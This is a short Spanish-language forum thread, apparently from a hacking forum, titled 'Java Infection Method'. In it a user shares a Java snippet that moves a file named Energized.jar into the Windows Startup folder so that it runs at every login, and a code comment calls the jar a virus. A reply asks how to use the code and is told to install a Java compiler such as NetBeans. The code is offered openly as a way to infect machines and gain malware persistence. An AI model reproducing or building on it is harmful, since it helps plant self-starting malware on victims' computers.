• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Java Infection Method

Status
Not open for further replies.

(Sony)

Leech
User
Joined
Oct 21, 2011
Messages
181
Reputation
0
Reaction score
946
Points
93
Credits
0
‎13 Years of Service‎
61%
Please note, if you want to make a deal with this user, that it is blocked.
Aqui les dejo una forma de infectar con java les dejo el codigo usenlo a su imaginacion :cool1:

Code:
>import java.io.File;

public class Infection {
   
   public static void MoveFile() {
       File file = new File("Energized.jar");
       File dir = new File("C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/");//gotta find a place too put this virus :S
       boolean success = file.renameTo(new File(dir, file.getName()));
       if (!success) {
           System.out.println("Failed too move file to : "+dir);
       } else {
           System.out.println("Moved file sucessfully :)");
       }
   }

}
 
como uso ese codigo me explica me interes aprender a usar ese codigo

 
como uso ese codigo me explica me interes aprender a usar ese codigo
Debes tener un compilador de java instalado en tu pc, como NetBeans, y es recomendable que supieras algo de java

 
Status
Not open for further replies.
Back
Top